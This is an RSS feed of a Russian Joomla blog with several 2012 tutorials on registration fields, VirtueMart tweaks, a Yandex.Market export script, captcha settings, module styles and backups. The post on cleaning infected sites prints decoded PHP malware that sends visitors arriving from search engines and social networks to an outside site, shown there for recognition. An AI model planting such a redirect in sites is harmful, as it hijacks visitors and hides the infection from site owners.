Joomla - Joomla Show - Joomla Show http://joomla-show.ru Thu, 19 Mar 2015 01:47:49 +0300 Joomla! - Open Source Content Management ru-ru Дополнительные поля в форме регистрации Joomla http://joomla-show.ru/item/50-dopolnitelnyie-polya-v-forme-registratsii-joomla http://joomla-show.ru/item/50-dopolnitelnyie-polya-v-forme-registratsii-joomla

Сегодня мы поговорим о том, как добавить в форму регистрации Джумлы (1.6 — 2.5) дополнительные поля, а заодно и разберемся как управлять этой формой. Должна получиться вот такая расширенная форма:

Итак, в первую очередь нам нужно пробраться в phpMyAdmin, зайти в базу и найти там таблицу jos_users (префикс может быть совершенно другим, если отличается, ставьте ваш, ключевая таблица — users). В ней нам нужно создать новые поля. В данном случае это будут:

  • Возраст (age)
  • Город проживания (city)
  • Специальность (specialty)
  • Навыки и умения (skills)

Собственно, вот скрин, на котором показано как это сделать:

Выставляете значения под таблицей, жмете ОК, вас перебрасывает на страницу с параметрами таблицы. Задаем их (смотрим список новых полей с названиями для сайта и базы выше). Заполняете все как на скрине:

В остальные параметры не лезем. Оставляем как есть. С длиной понятно? Для возраста разумнее всего значение 2 (склоняю голову и извиняюсь перед теми, кто дожил до ста лет и при этом, умеет пользоваться интернетом — занижайте возраст и пишите, что вам всего каких-то 99 лет, например). Сохраняемся, смотрим что получилось. Если все нормально, таблица jos_users должна быть заполнена так:

Если все получилось, давайте вставим эти поля в форму регистрации. Для этого открываем файлик registration.xml, который лежит в папке /components/com_users/models/forms/

Ваша задача скопировать вот этот кусок кода:

{code lang:xml lines:true hidden:false}        <field name="name" type="text"
            description="COM_USERS_REGISTER_NAME_DESC"
            filter="string"
            label="COM_USERS_REGISTER_NAME_LABEL"
            message="COM_USERS_REGISTER_NAME_MESSAGE"
            required="true"
            size="30"
        />{/code}

И вставить его (в данном случае) четыре раза, дабы в форме регистрации возникли четыре дополнительных поля, которые нам требуются. Но сначала давайте разберемся что тут к чему.

  • name="name" — собственно, это имя той ячейки базы данных, в которую форма будет втыкать значение;
  • description="COM_USERS_REGISTER_NAME_DESC" — Подсказка; 
  • label="COM_USERS_REGISTER_NAME_LABEL" — Подпись к полю формы регистрации;
  • message="COM_USERS_REGISTER_NAME_MESSAGE" — Сообщение при ошибке в наборе формы;
  • required="true" —  Проверка обязательности ввода значения. То есть, если стоит true — поле обязательно для заполнения, отмечается звездочкой, не заполнив поле не получится зарегистрироваться. Значение false позволяет не заполнять поле. То есть, оно становится необязательным, звездочки не будет;
  • size="30" — Ширина поля, что тут еще скажешь. 

Вот эти значения, которые прописаны заглавными латинскими буквами — отсылка к языковому файлу, но я не буду заострять на этом внимание, просто напишу все значения напрямую в xml-файле и сохраню его в формате UTF-8 без BOM.

Если вы все усвоили, то исправленные блоки должны получиться такими же:

{code lang:xml lines:true hidden:false}        <field name="age" type="text"
            description="Введите свой возраст"
            filter="string"
            label="Возраст"
            message="Неправильно введен возраст. Значение не должно превышать 99"
            required="true"
            size="30"
        />
        <field name="city" type="text"
            description="В каком городе вы живете?"
            filter="string"
            label="Город проживания"
            message="Ошибка. Слишком длинное значение."
            required="true"
            size="30"
        />
        <field name="specialty" type="text"
            description="Кем вы работаете (работали, на кого учились или учитесь)?"
            filter="string"
            label="Специальность"
            message="Ошибка. Слишком длинное значение."
            required="true"
            size="30"
        />
        <field name="skills" type="text"
            description="Что вы умеете делать так, как никто другой?"
            filter="string"
            label="Навыки и умения"
            message="Ошибка. Слишком длинное значение."
            required="true"
            size="30"
        />{/code} 

Проверьте, поля должны добавиться в форму. Если нет, сохраните файл и замените его на ФТП :)

Теперь зайтите в phpMyAdmin, и проверьте заносятся ли значения в соответствующие ячейки. Если да, то переходим к следующему этапу — нужно добавить эти поля в информацию обучетной записи, которая отображается в админке.

Для этого заходим в папку /administrator/components/com_users/models/forms/ и ищем в ней файл user.xml, дальше — действуем по той же схеме. В него вставляем вышеуказанный код, сохраняемся, перезаписываем файл и наслаждаемся полнофункциональной формой информации о пользователе.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Wed, 15 Aug 2012 19:32:57 +0400
Увеличение картинки в модуле mod_vertuemart_product (Virtuemart 2.0) http://joomla-show.ru/item/49-uvelichenie-kartinki-v-module-mod_vertuemart_product-virtuemart-20 http://joomla-show.ru/item/49-uvelichenie-kartinki-v-module-mod_vertuemart_product-virtuemart-20

В этом посте мы будем делать так, чтобы в модуле, который выводит продукты (рекомендуемые, рандомные, лидеры продаж и пр.), при нажатии на картинку мы не переходили в карточку товара, а просто увеличивали ее, ниже — скрин с рабочего проекта, под катом — инструкции как это сделать, вот еще две ссылки о том, как увеличить картинку в таких модулях Virtuemart 1.1.x и как увеличить картинку в модулях Virtuemart 1.1.x при помощи RokBox.

С приходом второго виртуемарта, во многом наша жизнь облегчилась, хотя кое где он нас поставил раком. Сейчас мы рассмотрим пример того, как просто стало реализовать функцию увеличения картинки в модуле. Можете открыть для сравнения ссылки из анонса.

Итак, давайте откроем файл  modules/mod_virtuemart_product/tmpl/default.php и найдем в нем такой код:

{code lang:php lines:true hidden:false}<?php
if (!empty($product->images[0]) )
$image = $product->images[0]->displayMediaThumb('class="featuredProductImage" border="0" height="100"',false) ;
else $image = '';
echo JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id),$image,array('title' => $product->product_name) );
echo '<div class="clear"></div>';
$url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.
$product->virtuemart_category_id); ?>{/code}

Теперь закомментируйте это все или удалите и вставляйте туда это:

{code lang:php lines:true hidden:false}<?php /** make image popup — joomla-show.ru*/                    echo $product->images[0]->displayMediaThumb('class="browseProductImage" border="0" title="'.$product->product_name.'" ',true,'class="modal"');            ?>{/code} 

На этом все. Не правда ли просто? :) 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Wed, 16 May 2012 11:35:59 +0400
Кнопка «Добавить в корзину» на обзорной странице категории Virtuemart 2 http://joomla-show.ru/item/48-knopka-dobavit-v-korzinu-na-obzornoy-stranitse-kategorii-virtuemart-2 http://joomla-show.ru/item/48-knopka-dobavit-v-korzinu-na-obzornoy-stranitse-kategorii-virtuemart-2

Кнопку в шаблоне обзорной страницы категории по какой-то причине я не нашел, пришлось добавлять ее вручную. Добавил выбор количества и саму кнопку. Результат:

Описание процесса размещения кнопки «Добавить в корзину» на обзорной странице категории Virtuemart 2.0 — под катом.

Процесс добавления сам по себе очень прост. Для этого вам необходимо в файл docs/components/com_virtuemart/views/category/tmpl/default.php вставить следующий код:

{code lang:php lines:false hidden:false}<?php
echo $this->loadTemplate('addtocart');
?> {/code}

Вставлять можно в любое место внутри блока с товаром. Я вставил внутри <div class="width70 floatright">, сразу после Ценового блока:

{code lang:php lines:false hidden:false}<div class="product-price marginbottom12" id="productPrice<?php echo $product->virtuemart_product_id ?>">
                    <?php
                    if ($this->show_prices == '1') {
                        if( $product->product_unit && VmConfig::get('vm_price_show_packaging_pricelabel')) {
                            echo "<strong>". JText::_('COM_VIRTUEMART_CART_PRICE_PER_UNIT').' ('.$product->product_unit."):</strong>";
                        }
                        if(empty($product->prices) and VmConfig::get('askprice',1) and empty($product->images[0]->file_is_downloadable) ){
                            echo JText::_('COM_VIRTUEMART_PRODUCT_ASKPRICE');
                        }
                        //todo add config settings
                        if( $this->showBasePrice){
                            echo $this->currency->createPriceDiv('basePrice','COM_VIRTUEMART_PRODUCT_BASEPRICE',$product->prices);
                            echo $this->currency->createPriceDiv('basePriceVariant','COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT',$product->prices);
                        }
                        echo $this->currency->createPriceDiv('variantModification','COM_VIRTUEMART_PRODUCT_VARIANT_MOD',$product->prices);
                        echo $this->currency->createPriceDiv('basePriceWithTax','COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX',$product->prices);
                        echo $this->currency->createPriceDiv('discountedPriceWithoutTax','COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE',$product->prices);
                        echo $this->currency->createPriceDiv('salesPriceWithDiscount','COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT',$product->prices);
                        echo $this->currency->createPriceDiv('salesPrice','COM_VIRTUEMART_PRODUCT_SALESPRICE',$product->prices);
                        echo $this->currency->createPriceDiv('priceWithoutTax','COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX',$product->prices);
                        echo $this->currency->createPriceDiv('discountAmount','COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT',$product->prices);
                        echo $this->currency->createPriceDiv('taxAmount','COM_VIRTUEMART_PRODUCT_TAX_AMOUNT',$product->prices);
                    } ?>
                    </div>{/code}

Сохраняйте файл, после чего идите в папку docs/components/com_virtuemart/views/productdetails/tmpl, копируйте оттуда файл default_addtocart.php и вставляйте его в папку docs/components/com_virtuemart/views/category/tmpl. 

Все должно работать. Настроить внешний вид формы добавления в корзину можно как раз в только что скопированном файле.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Thu, 19 Apr 2012 13:05:13 +0400
Экспорт товаров из Virtuemart в Яндекс-маркет http://joomla-show.ru/item/45-eksport-tovarov-iz-virtuemart-v-yandeks-market http://joomla-show.ru/item/45-eksport-tovarov-iz-virtuemart-v-yandeks-market

Сегодня мы поговорим об автоматическом размещении товаров из Виртуемарта в Яндекс-маркете. Данная статья, правда, относится исключительно к Virtuemart 1.1.x, для Virtuemart 2 я напишу по мере необходимости. Итак, нам нужно сделать все так, чтобы в Яндекс-маркет попадала вся требуемая информация, да к тому же, чтобы это все обновлялось в автоматическом режиме.

Поиск готовых решений в интернете, к сожалению, приводил только к непрохождению проверки на Маркете. Пришлось вручную исправлять ошибки горе-программистов. Под катом — реальноо работающий скрипт, проверенный, настроенный и примененный сегодня (см. дату публикации).

Итак, приступим к реализации. Нам необходимо сделать автоматическое формирование файла *.yml, который и будет кушать наш любимый Яндекс-маркет. Для этого нам надо создать файлик с именем... ... ...ммм... ... ...давайте назовем его export.yml и положим в корень сайта. Вэтот файл вставляем следующий код (кстати, не забудьте убрать BOM, если вы используете кодировку utf-8, иначе в начале файла будут добавлены лишние 2-4 байта в  виде херни какой-то):

{codecitation class="brush:php"}

<?php
//***********************************************************
//
// Версия коннектора к Yandex.Market от 20.03.2012 г.
// Автор доработок скрипта Артем Сучков (artem @ dezigner.ru)
//
// Проверялось на Joomla! 1.5.25 + VirtueMart 1.1.9
//
//***********************************************************

// Путь к 'configuration.php'
include 'configuration.php';
$cfg = new JConfig();

//Короткое название магазина (название, которое выводится в списке найденных на Яндекс.Маркете товаров.
//Не должно содержать более 20 символов). Нельзя использовать слова, не имеющие отношения к
//наименованию магазина ("лучший", "дешевый"), указывать номер телефона и т.п. Название
//должно совпадать с фактическим названием магазина, которое публикуется на сайте. При несоблюдении
//данного требования наименование может быть изменено Яндексом самостоятельно без уведомления Клиента.
$cfg_name = $cfg->fromname;

//Полное наименование компании, владеющей магазином. Не публикуется, используется для внутренней идентификации.
$cfg_company = $cfg->sitename;

//Домен
$cfg_url = 'joomla-show.ru';

// Описание товара
// Вместо {product_name} - будет вставлено наименование товара
// Вместо {product_desc} - будет вставлено краткое описание
$description_template = '{product_desc}';

// Ставка за клик (в центах)
$bid = '11';

$hostname = $cfg->host;
$username = $cfg->user;
$password = $cfg->password;
$dbName = $cfg->db;
$category = $cfg->dbprefix."vm_category";
$category_xref = $cfg->dbprefix."vm_category_xref";
$userstable = $cfg->dbprefix."vm_product";
$pricetable = $cfg->dbprefix."vm_product_price";
$product_category_xref = $cfg->dbprefix."vm_product_category_xref";

mysql_connect($hostname,$username,$password) OR DIE("Нет соединения");
mysql_select_db($dbName) or die(mysql_error());

// Кодировка. Для CP1251 значения будут такими: mysql_query('set names windows1251'); и в следующей строке замените utf-8 на windows-1251
mysql_query('set names utf8');

echo"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo"<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\n";
echo"<yml_catalog date=\"";
echo date('Y-m-d H:i');
echo"\">\n";
echo"<shop>\n";
echo"<name>$cfg_name</name>\n";
echo"<company>$cfg_company</company>\n";
echo"<url>$cfg_url</url>\n";

// Курсы валют по ЦБРФ
echo"<currencies>\n";
echo"<currency id=\"RUR\" rate=\"1\"/>\n";
echo"<currency id=\"USD\" rate=\"CBRF\"/>\n";
echo"<currency id=\"EUR\" rate=\"CBRF\"/>\n";
echo"</currencies>\n";

// Вывод категорий
echo"<categories>\n";
$query_cat = "SELECT * FROM $category_xref";
$res_cat = mysql_query($query_cat) or die(mysql_error());
$rw=1;
while ($row_cat=mysql_fetch_array($res_cat)) {
$cat_parent_id=$row_cat['category_parent_id'];
$cat_child_id=$row_cat['category_child_id'];
$query2 = "SELECT category_name FROM $category WHERE category_id=".$row_cat['category_child_id'];
$res_cat1 = mysql_query($query2) or die(mysql_error());
$name_cat=mysql_fetch_array($res_cat1);
$cat_name=$name_cat['category_name'];
if ($cat_parent_id==0) {
echo"<category id=\"".$cat_child_id."\">".$cat_name."</category>\n";
}
else {
echo"<category id=\"".$cat_child_id."\" parentId=\"".$cat_parent_id."\">".$cat_name."</category>\n";
}
$rw++;
}
echo"</categories>\n";

// Описания товаров
echo"<offers>\n";

$tb_product = $cfg->dbprefix."vm_product";
$tb_manufacturer = $cfg->dbprefix."vm_manufacturer";
$tb_product_mf_xref = $cfg->dbprefix."vm_product_mf_xref";
$tb_category = $cfg->dbprefix."vm_category";
$tb_product_category_xref = $cfg->dbprefix."vm_product_category_xref";
$tb_price = $cfg->dbprefix."vm_product_price";

$query = "
SELECT
$tb_product.product_id,
$tb_product.product_name,
$tb_manufacturer.mf_name,
$tb_manufacturer.manufacturer_id,
$tb_category.category_name,
$tb_category.category_id,
$tb_product_category_xref.category_id,
$tb_price.product_price,
$tb_product.product_sku,
$tb_product.product_in_stock,
$tb_product.product_unit,
$tb_product.product_full_image,
$tb_product.product_s_desc,
$tb_product.product_weight
FROM
($tb_product_category_xref
RIGHT JOIN ($tb_price
RIGHT JOIN (($tb_product_mf_xref
RIGHT JOIN $tb_product
ON $tb_product_mf_xref.product_id = $tb_product.product_id)
LEFT JOIN $tb_manufacturer
ON $tb_product_mf_xref.manufacturer_id = $tb_manufacturer.manufacturer_id)
ON $tb_price.product_id = $tb_product.product_id)
ON $tb_product_category_xref.product_id = $tb_product.product_id)
LEFT JOIN $tb_category
ON $tb_product_category_xref.category_id = $tb_category.category_id
WHERE $tb_product.product_publish='Y'
";

$row = d2a($query);
$product_log = Array();
for($i=0;$i<count ($row);$i++) {
if (!in_array($row[$i]['product_id'],$product_log) AND ($row[$i]['product_price'])) {
$product_log[] = $row[$i]['product_id'];

$url="http://$cfg_url/index.php?page=shop.product_details&amp;flypage=shop.flypage&amp;option=com_virtuemart&amp;product_id=".$row[$i]['product_id'];
//Как-то так: $url="http://$cfg_url/client?page=shop.product_details&flypage=flypage-ask.tpl&product_id=".$row[$i]['product_id']."&category_id=".$row[$i]['category_id']."&manufacturer_id=".$row[$i]['manufacturer_id'];

$product_full_image = "http://$cfg_url/components/com_virtuemart/shop_image/product/".$row[$i]['product_full_image'];
$tags = Array ('{product_name}','{product_desc}');
$repl = Array ($row[$i]['product_name'],$row[$i]['product_s_desc']);
$product_price = substr($row[$i]['product_price'], 0, -3);
$product_cat_id=$row[$i]['category_id'];
echo"\n<offer id=\"".$row[$i]['product_id']."\" available=\"true\" bid=\"$bid\">\n";
echo"<url>".$url."</url>\n";
echo"<price>$product_price</price>\n";
// Валюта в которой указаны цены магазина
echo"<currencyId>RUR</currencyId>\n";
echo"<categoryId>".$product_cat_id."</categoryId>\n";
echo"<picture>".$product_full_image ."</picture>\n";
// Возможность доставки
echo"<delivery>true</delivery> \n";
echo"<name>".strip_tags($row[$i]['product_name'])."</name>\n";
echo"<description>".strip_tags(str_replace($tags,$repl,$description_template))."</description>\n";
echo"</offer>\n";
echo"\n";
}
}

echo"</offers>\n";
echo"</shop>\n";
echo"</yml_catalog>\n";

function d2a($query){
$result = mysql_query($query) or die("Query failed : " . mysql_error());
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {$res[] = $line;}
mysql_free_result($result);
return $res;
}
?>

{/codecitation}

Затем добавляем в .htaccess директиву заставляющую обрабатывать PHP в YML файлах:

RemoveHandler .html .htm
AddType application/x-httpd-php .php .html .phtml .htm .yml

Если все сделали, то при загрузке страницы www.your_domain.ru/export.yml вы должны увидеть вывод информации. Вы сразу поймете, есть ли там ошибки.

Не забудьте обратить пристальное внимание строкам:

039 - Впишите туда свой домен

070 - Читайте внимательно комментарий про кодировку. Да, при смене кодировки не забудьте преобразовать кодировку самого файла.

В заключение, хочу заметить: скрипт полностью рабочий, доработан и проверен лично мной, внедрен в рабочий проект. Все работает без перебоев.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Tue, 20 Mar 2012 16:43:34 +0400
Чистка сайтов от вирусов. http://joomla-show.ru/item/44-chistka-saytov-ot-virusov http://joomla-show.ru/item/44-chistka-saytov-ot-virusov

Давайте поднимем тему заражения вирусами наших сайтов. Как правило, в подавляющем большинстве случаев, заражаются устаревшие версии наших любимых CMS. Именно поэтому я, как и масса других разработчиков, настоятельно рекомендуют во что бы то ни стало обновлять свои системы управления. Это в меньшей мере касается пользователей Битрикса редакции «Стандарт» и выше, в которых встроен модуль «Проактивная защита». По собственному опыту знаю, как это здорово — когда чистку сайта от вирусни за тебя делает встроенный в сайт антивирус. Ты только читаешь письма о том, что был удален подозрительный код. Но цены на эти движки варьируются от 12900 руб. до 249900 руб., то есть, вариант не для фрилансеров. Зачем заражают сайты вирусней? Как быть и что делать, если ваш Joomla-сайт заразился? Обо всем этом — под катом.

Заманчивое предложение от спонсоров:

Стоимость удаления вирусов с одного сайта в студии Millor составит от 2000 рублей до 3500 рублей за комплекс работ по устранению вирусных скриптов. Срок исполнения — один рабочий день. Цены и сроки зависят от количества зараженных файлов и их типа.

Для заказа услуги чистки сайта от вирусов, позвоните по телефонам (499) 755-90-52. Так же вы можете отправить заявку по почте millor.ru(@)gmail.com 
(уберите скобки).
Чистка сайта от вирусов — дело не из простых. И, зачастую, самостоятельное удаление вирусов с сайта непрофессионалом может привести либо к неработоспособности некоторых компонентов, либо к неполной очистке сайта, что приведет к продолжению распространения вирусов на сайте. Поэтому я настоятельно рекомендую всем тем, кто не имеет опыта удаления вируса с сайта обратиться к спонсору блога — студии Millor. Специалисты студии быстро и недорого произведут полную очистку сайта от вирусов, ничего не сломают и дадут рекомендации как избежать подобных ситуаций в дальнейшем.

Итак, что же плохого и опасного может быть в вирусе? Разберем популярный на сегодняшний день вирус, который легко и быстро заражает сайты на Joomla 1.5. В файловой системе он, нак и подавляющее большинство закодирован, имеет особенность заражать не только индексные файлы, но и другие, которые исполняются. Например, файлы Виртуемарта.

В расшифрованном виде он выглядит примерно так:

 {code lang:php title:"Код вируса" lines:true hidden:false}error_reporting(0); 
$qazplm=headers_sent(); 
if (!$qazplm){ 
$referer=$_SERVER['HTTP_REFERER']; 
$uag=$_SERVER['HTTP_USER_AGENT']; 
if ($uag) { 
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { 
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ 
header("Location: http://costabrava.bee.pl/"); 
exit(); 


}{/code}

Если вы не имеете достаточных знаний в php, чтобы расшифровать приведенный выше код, объясню.

Вирус определяет тип клиента, и в том случае, если это браузер (таким образом он понимает, что на сайт попал живой человек, а не бот), ставит хитрое условие: если человек попадает на сайт  из поисковой системы, либо кликнув на контекстную ссылку в Яндекс-директе или Гугл-адсенсе, если он попадает на сайт, перейдя по ссылке из социальных сетей, либо сервисов коротких url и так далее, то сайт редиректится на (в данном случае) http://costabrava.bee.pl/.

В том случае, если человек пришел на сайт набрав его URL в адресной строке браузера или нажал на ссылку с любого другого сайта (например, с моего), то скрипт не срабатывает и человек видит целевую страницу. То есть, как видите, сделано все, чтобы хозяин или админ сайта максимально долго не мог заметить что сайт заражен вирусом (не будет же он сам щелкать по своей ссылке в директе). 

Для чего это сделано? Как вариант — черная раскрутка какого-нибудь бренда. Например, создается временный сайт в сервисе бесплатного хостинга www.bee.pl с запоминающимся логотипом, заражается миллион сайтов. Люди видят этот логотип. А потом просто увидев логотип на улице, они думают, что это раскрученная торговая марка, которой можно и довериться. 

Еще один вариант — редирект на страницу с трояном, который заразит ваш windows-компьютер. Троян же может легко и быстро украсть все пароли, которые есть у вас на компьютере, все адреса почты. Все, вы в базе. Не успеете вы почистить компьютер от вирусов, как все ваши пароли и адреса из почтового клиента будут находиться в руках у хакеров. Потом не спрашивайте как могли взломать вашу страницу в Одноклассниках, если у вас мега-пароль из 20 букв перемешанных с цифрами.

Итак, зачем нужны вредоносные коды на сайтах мы разобрались. Как же убрать вирус с сайта? Вариантов масса, один из них я описал в самом начале поста. Остальное будем считать коммерческой тайной моих спонсоров. В конце концов, 2000 рублей для коммерческой организации — это не деньги. Если не убрать вирус с сайта, вы можете потерять гораздо больше.

Как обезопасить себя от заражения сайта вирусами в дальнейшем? Ответ прост: регулярно обновляйте свои CMS. Например, вирус, который был описан выше легко пробивает защиту Joomla 1.5.25 и не может заразить Joomla 2.5.3. Не используйте операционную систему Windows, поскольку она наиболее слаба в плане заражения вирусами. Используйте Mac OS X, а если нет денег, то переходите на бесплатные Linux, Ubuntu, FreeBSD... Словом, те операционки, которые изначально защищены от вирусни.

Да, обновление системы управления сайтом и операционной системы — это сложно. Да, много компонентов для 2.5 еще не придумано. Зато придуманы вирусы под  Joomla 1.5.25, а версии Joomla 1.5.26, по словам разработчиков не будет; придуманы вирусы для Windows и эта проблема не решится, по-моему, никогда. В конце концов, компоненты, если они очень важны, можно разработать самостоятельно или заказать их разработку в IT-компании.

Помимо обновления CMS, я бы еще посоветовал установить компонент Eyesite, который отслеживает изменения в файлах и предупреждает о таковых по почте. На этом все. Надеюсь, эта статья принесла вам, моим читателям, столько же пользы, сколько и моим спонсорам.

Не забываем:

Для заказа услуги чистки сайта от вирусов, позвоните по телефонам (495) 410-98-08 или (499) 755-90-52. Так же вы можете отправить заявку по почте millor.ru(@)gmail.com (уберите скобки). 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Tue, 20 Mar 2012 11:37:48 +0400
Как настроить капчу в Jcomments http://joomla-show.ru/item/43-kak-nastroit-kapchu-v-jcomments http://joomla-show.ru/item/43-kak-nastroit-kapchu-v-jcomments

Если вас не устраивает стандартный вид капчи в jcomments, вы всегда можете настроить ее внешний вид. Пример такой настройки в моем блоге.

Для этого вам необходимо отурыть файл /components/com_jcomments/libraries/kcaptcha/kcaptcha_config.php

{code lang:php lines:true hidden:false}<?php
$alphabet = "0123456789abcdefghijklmnopqrstuvwxyz";
$allowed_symbols = "23456789abcdeghkmnpqsuvxyz";
$fontsdir = 'fonts';    
$length = 5;
$width = 121;
$height = 60;
$fluctuation_amplitude = 5;
$no_spaces = true;
$show_credits = false;
$credits = 'www.joomlatune.ru';
$foreground_color = array(180, 180, 180);
$background_color = array(246, 246, 246);
$jpeg_quality = 90;
?>{/code}

Итак, по строкам:

  1. Алфавит, то есть те символы, которые будут вводиться.
  2. Символы, которые будут отображаться на картинке капчи
  3. Путь к папке со шрифтами 
  4. Количество выводимых в капче символов
  5. Ширина картинки с капчей
  6. Высота картинки капчи
  7. Амплитуда, то есть насколько сильно буквы будет колбасить
  8. Наличие пробелов (true, false, что значит есть или нет)
  9. Ставить или не ставить ссылкку на производителя
  10. Собственно, ссылка
  11. Цвет символов в RGB 
  12. Цвет бекграунда капчи в RGB
  13. Качество картинки

 Как и что настраивать, думаю, понятно. Для блога я поставил следующие настройки:

{code lang:php lines:true hidden:false}<?php
$alphabet = "0123456789";
$allowed_symbols = "0123456789";
$fontsdir = 'fonts';    
$length = 3;
$width = 121;
$height = 60;
$fluctuation_amplitude = 2;
$no_spaces = true;
$show_credits = false;
$credits = 'www.joomlatune.ru';
$foreground_color = array(0, 0, 0); 
$background_color = array(246, 246, 246); 
$jpeg_quality = 90;
?>{/code} 

 

 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Tue, 28 Feb 2012 02:43:58 +0400
Создаем шаблон для позиции модуля в Joomla 1.5—2.5 http://joomla-show.ru/item/41-sozdaem-shablon-dlya-pozitsii-modulya-v-joomla-15—25 http://joomla-show.ru/item/41-sozdaem-shablon-dlya-pozitsii-modulya-v-joomla-15—25

В статье о создании шаблона я упомянул о стилях позиций модулей для джумлы. Хотя я и настаиваю на том, что это роскошь для joomla-сайтов, все же замолвлю словечко, поскольку, в тех случаях, когда макет для верстки предоставляется заказчиком, порой невозможно сверстать шаблон со стопроцентным совпадением дизайна без лишения девственности стилей позиций модулей. Пример нестандартной стилизации:

Если бы все браузеры, которыми пользуется интернет-аудитория стран СНГ и Балтии поддерживали в полной мере CSS3, нам бы хватило и обычного стиля xhtml для осуществления такого блока. Но в суровой постсоветской реальности все совсем наоборот. Посетители коммерческих сайтов зачастую выходят в интернет с офисных компьютеров, на которых в крайне редких случаях стоит лиса. Общая статистика, которую я веду лично, показывает, что у не менее 10% посетителей даже нет флэш-плеера или отключено исполнение java-скриптов, а подавляющее большинство заходов из IE7 (ура), на втором месте IE6 (наконец-то он стал на второе место), далее восьмой и девятый. То есть, ни о каком CSS3, флэше и скриптах речи быть не может. CSS2+PNG (GIF, JPG) — золотое правило для коммерческого сайта расчитанного на аудиторию с преимущественной возрастной группой старше 30 лет.

Теперь, когда вы осознали все минусы инноваций в постсоветском пространстве, давайте попробуем разделить наш блок на максимально простые составляющие, структура которых не выходила бы за рамки CSS2:

 

Как видите, весь блок состоит всего из трех частей, которые, в свою очередь, украшены бекграундами состоящими из картинок. На всякий случай, на картинке я написал еще и классы, которые буду использовать в демо-коде. Чтобы все стало совсем понятно. Стиль позиции модуля назовем абстрактно shit.

На следующем этапе, вам нужно в CSS-файлах шаблона написать стили для этих классов модулей. Я же на этом этапе заострять внимание не буду, а перейду сразу к следующему.

Вам нужно открыть папку templates/system, скопировать оттуда папку html, вставить ее в корневую папку своего шаблона и открыть в редакторе файл modules.php, который лежит, как вы догадались, именно в только что скопипастеной папке. Есть еще один вариант. Не копируйте папку, вносите правки в системном шаблоне. Все будет хорошо :)

Далее смотрим структуру файла, находим в нем закономерности, закрываем эту страницу и дальше все делаем самостоятельно. Шутка. Обратите внимание на функции которые начинаются на modChrome. Это и есть начало кода стилизации позиций модулей. Для стиля xhtml это будет выглядеть как modChrome_xhtml. Я хочу сказать, что название стиля задается после нижней черты. Итак, напомню, что стиль наш называется shit. Вставляем где-нибудь в этом файле (можно в самом верху, после defined('_JEXEC') or die;):

{code lang:php lines:true hidden:false}function modChrome_shit($module, &$params, &$attribs) 
{
    if (!empty ($module->content)) : ?>
<div class="mod_header<?php echo htmlspecialchars($params->get('moduleclass_sfx')); ?>"><?php if ($module->showtitle != 0) : ?><?php echo $module->title; ?><?php endif; ?></div>
<div class="mod_body<?php echo htmlspecialchars($params->get('moduleclass_sfx')); ?>"><?php echo $module->content; ?></div>
<div class="mod_footer<?php echo htmlspecialchars($params->get('moduleclass_sfx')); ?>"></div>
<?php endif;
}{/code} 

Попробуем понять что мы сделали. 

  • modChrome_shit — задали название стиля.
  • <?php echo htmlspecialchars($params->get('moduleclass_sfx')); ?> — дали возможность добавлять к нашему классу суффикс.
  • <?php if ($module->showtitle != 0) : ?><?php echo $module->title; ?><?php endif; ?> — заставили показывать или не показывать заголовок в зависимости от настроек модуля.
  • <?php echo $module->content; ?> — вывели содержимое модуля.

Теперь сохраните файл и протестируйте позицию на сайте. Все должно работать. Чтобы внедрить позицию в шаблон, достаточно вставить в нужном месте <jdoc:include type="modules" name="position" style="shit" />.

Спасибо за внимание. 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Fri, 24 Feb 2012 02:05:34 +0400
Резервное копирование Joomla в один клик, или как пользоваться компонентом Akeeba Backup http://joomla-show.ru/item/39-rezervnoe-kopirovanie-joomla-v-odin-klik-ili-kak-polzovatsya-komponentom-akeeba-backup http://joomla-show.ru/item/39-rezervnoe-kopirovanie-joomla-v-odin-klik-ili-kak-polzovatsya-komponentom-akeeba-backup

В этой статье я научу вас делать резервные копии Joomla 1.5 — 2.5 в автоматическом режиме, то есть вам не нужно делать самостоятельно дамп базы и архивировать файлы, а так же прописывать пути к логам с временными файлами, и выставлять права на папки. Все сделает за вас один очень полезный компонент Akeeba Backup, который я предусмотрительно выложил в своем файловом архиве (скачать Akeeba Backup rus для Joomla 1.5, 1.6, 1.7, 2.5). Подробности под катом.

Пост будет до безобразия коротким, поскольку пользоваться Акибой легко и просто. Итак, вы скачали компонент резервного копирования с моего блога, разархивировли его и установили архив com_akeeba-3.3.7-core.zip. Первый запуск Акибы предлагает настроить его. Настройка производится в один клик. Просто оставляете все галочки и нажимаете кнопку «Применить», после чего вы увидите сообщение

Поздравляем! Мастер настройки успешно завершил свою работу. Теперь вы можете протестировать новую конфигурацию, запустив резервное копирование, или тонко настроить их вручную.

